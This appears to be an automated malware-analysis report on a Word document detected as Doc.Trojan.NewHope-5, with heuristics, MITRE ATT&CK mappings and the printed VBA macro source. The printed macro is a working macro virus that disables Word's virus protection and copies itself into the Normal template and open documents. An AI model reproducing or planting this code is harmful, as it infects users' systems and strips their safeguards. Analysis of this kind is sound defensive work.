MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an Office document with a high-severity heuristic indicating the presence of VBA macros, specifically a Document_Open macro. The ClamAV detection name 'Doc.Trojan.NewHope-5' strongly suggests malicious intent. The VBA code appears to copy itself between the Normal template and the active document, a common technique for establishing persistence or ensuring execution, and is designed to run automatically when the document is opened.
Heuristics 3
-
ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.NewHope-5
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1900 bytes |
SHA-256: 882226d1666bf939d85e0d7928cd275be1fe6e51cf9e95c0b8de76552ec4b7a6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Call Document_Open
Rem ProgramName "¬å¦º§A!ªü«ó¯f¬r"
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) = "Rem" Then
MsgBox "¥i¯à¦³ªü«ó¯f¬r³á?"
Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Noc
Code = .Lines(1, .CountOfLines)
End With
With Inf
.DeleteLines 1, .CountOfLines
.InsertLines 1, Code
End With
GoTo KILLED
End If
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo KILLED
If NormInstalled = False Then
Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
Code = .Lines(1, .CountOfLines)
End With
With Inf
.DeleteLines 1, .CountOfLines
.InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
KILLED:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.